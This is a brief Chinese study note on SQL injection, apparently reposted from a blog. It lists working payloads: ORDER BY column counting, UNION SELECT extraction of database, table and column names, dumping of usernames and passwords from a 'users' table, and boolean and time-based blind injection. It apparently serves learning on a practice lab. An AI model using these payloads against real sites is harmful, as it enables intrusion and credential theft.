标签：group 记录 union database --+ sql id select 注入

order by确定列数

id = 1' order by 5 --+

union确定匹配的列

id=0' union select 1,2,3 --+

获取相应的用户名和数据库名

id=0' union select 1,user(),database() --+

group_contact()函数

GROUP_CONCAT(expr)该函数将非空列值按照分组条件进行合并并最终返回。如果有空值，则返回为空

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+


id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

id=0' union select id,group_concat(username,','),group_concat(password,',') from users --+

2. 盲注

2.1 布尔盲注获取长度

id=1' and length(database())=8 --+

2.2 时间盲注获取库名

substr(database(),1,1)```

' and if(1=0,1,sleep(10)) --+

?id=1' and if(ascii(substr(database(),1,1))=116,sleep(6),1) -

标签：group,记录,union,database,--+,sql,id,select,注入
来源： https://www.cnblogs.com/ktsm/p/15684949.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。